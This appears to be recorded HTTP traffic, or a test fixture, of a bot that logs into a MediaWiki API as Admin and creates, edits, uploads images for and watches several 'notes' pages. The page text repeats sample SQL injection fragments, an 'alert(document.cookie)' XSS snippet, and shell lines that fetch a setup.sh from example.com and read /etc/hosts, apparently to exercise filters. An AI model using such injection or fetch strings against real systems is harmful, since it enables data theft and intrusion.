{"method": "GET", "target": "/rest.php/v1/page/.htaccess_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/.htaccess_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=usercontribs&ucuser=Admin&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=recentchanges&rcprop=title%7Cuser%7Ccomment&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&meta=siteinfo&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 189", "Host: example.com", "Cookie: my_wiki_session=vi74m7k2rob8ksr0947hnvb80259kg94", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=clientlogin&username=Admin&password=Example-pass-2026&loginreturnurl=http%3A%2F%2Fexample.com%2F&logintoken=e62ac171de98ca0ccac8d8b9829521566af226a3%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1599", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+Lighthouse+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1676", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+Lighthouse+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 167", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+Lighthouse+notes&appendtext=%0A%2A+Lighthouse&summary=Lighthouse&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1092", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=4%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=227e8770d4f741858b7fffb5f9d306c4"], "body": "--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi Lighthouse.png\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of Lighthouse\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout Lighthouse and .htaccess\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api Lighthouse.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdLighthouse\r\n--227e8770d4f741858b7fffb5f9d306c4--\r\n"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=watch&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=6%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 121", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=6%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+Lighthouse+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1596", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=8%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+python3+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1670", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=8%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+python3+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=10%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+python3+notes&appendtext=%0A%2A+python3&summary=python3&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1077", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=12%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=8062372fed124f8b8faa3e89a043b2f7"], "body": "--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi python3.png\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of python3\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout python3 and .htaccess\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdpython3\r\n--8062372fed124f8b8faa3e89a043b2f7--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 118", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=14%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+python3+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1599", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=16%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+powershell+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1676", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=16%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+powershell+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 167", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=18%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+powershell+notes&appendtext=%0A%2A+powershell&summary=powershell&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1092", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=20%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=af4292a895f742e1bc67d5fe8c7347bd"], "body": "--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi powershell.png\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of powershell\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout powershell and .htaccess\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api powershell.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdpowershell\r\n--af4292a895f742e1bc67d5fe8c7347bd--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 121", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=22%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+powershell+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
